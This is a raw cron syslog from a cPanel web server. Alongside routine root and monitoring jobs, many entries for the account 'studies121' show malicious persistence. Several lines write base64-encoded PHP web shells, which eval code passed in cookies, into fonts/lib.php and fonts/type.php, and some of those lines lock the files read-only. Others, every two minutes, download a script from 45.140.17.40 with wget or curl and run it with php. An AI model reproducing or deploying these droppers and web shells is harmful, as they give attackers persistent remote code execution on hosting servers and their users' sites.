Sep  8 07:01:01 ip-184-168-122-23 CROND[32621]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 07:01:01 ip-184-168-122-23 CROND[32622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:01:01 ip-184-168-122-23 CROND[32620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:01:01 ip-184-168-122-23 CROND[32623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:01:01 ip-184-168-122-23 CROND[32625]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32625]: starting 0anacron
Sep  8 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32639]: finished 0anacron
Sep  8 07:02:01 ip-184-168-122-23 CROND[32721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:02:01 ip-184-168-122-23 CROND[32720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:02:01 ip-184-168-122-23 CROND[32723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:02:01 ip-184-168-122-23 CROND[32724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:02:01 ip-184-168-122-23 CROND[32726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:03:01 ip-184-168-122-23 CROND[364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:03:01 ip-184-168-122-23 CROND[366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:03:01 ip-184-168-122-23 CROND[365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:03:01 ip-184-168-122-23 CROND[368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:04:01 ip-184-168-122-23 CROND[488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:04:01 ip-184-168-122-23 CROND[489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:04:01 ip-184-168-122-23 CROND[491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:04:01 ip-184-168-122-23 CROND[495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:04:01 ip-184-168-122-23 CROND[492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:05:01 ip-184-168-122-23 CROND[601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:05:01 ip-184-168-122-23 CROND[599]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 07:05:01 ip-184-168-122-23 CROND[602]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:05:01 ip-184-168-122-23 CROND[598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:05:01 ip-184-168-122-23 CROND[604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:05:01 ip-184-168-122-23 CROND[608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:05:01 ip-184-168-122-23 CROND[606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:06:01 ip-184-168-122-23 CROND[830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:06:01 ip-184-168-122-23 CROND[828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:06:01 ip-184-168-122-23 CROND[831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:06:01 ip-184-168-122-23 CROND[829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:06:01 ip-184-168-122-23 CROND[837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:07:01 ip-184-168-122-23 CROND[921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:07:01 ip-184-168-122-23 CROND[926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:07:01 ip-184-168-122-23 CROND[925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:07:01 ip-184-168-122-23 CROND[927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:08:01 ip-184-168-122-23 CROND[1028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:08:01 ip-184-168-122-23 CROND[1029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:08:01 ip-184-168-122-23 CROND[1031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:08:01 ip-184-168-122-23 CROND[1032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:08:01 ip-184-168-122-23 CROND[1033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:09:01 ip-184-168-122-23 CROND[1204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:09:01 ip-184-168-122-23 CROND[1206]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 07:09:01 ip-184-168-122-23 CROND[1207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:09:01 ip-184-168-122-23 CROND[1208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:09:01 ip-184-168-122-23 CROND[1209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:10:01 ip-184-168-122-23 CROND[1363]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:10:01 ip-184-168-122-23 CROND[1362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:10:01 ip-184-168-122-23 CROND[1366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:10:01 ip-184-168-122-23 CROND[1367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:10:01 ip-184-168-122-23 CROND[1370]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:10:01 ip-184-168-122-23 CROND[1371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:10:01 ip-184-168-122-23 CROND[1369]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:10:01 ip-184-168-122-23 CROND[1372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:11:01 ip-184-168-122-23 CROND[1537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:11:01 ip-184-168-122-23 CROND[1539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:11:01 ip-184-168-122-23 CROND[1538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:11:01 ip-184-168-122-23 CROND[1540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:12:02 ip-184-168-122-23 CROND[1781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:12:02 ip-184-168-122-23 CROND[1782]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:12:02 ip-184-168-122-23 CROND[1785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:12:02 ip-184-168-122-23 CROND[1788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:12:02 ip-184-168-122-23 CROND[1789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:13:01 ip-184-168-122-23 CROND[1907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:13:01 ip-184-168-122-23 CROND[1908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:13:01 ip-184-168-122-23 CROND[1909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
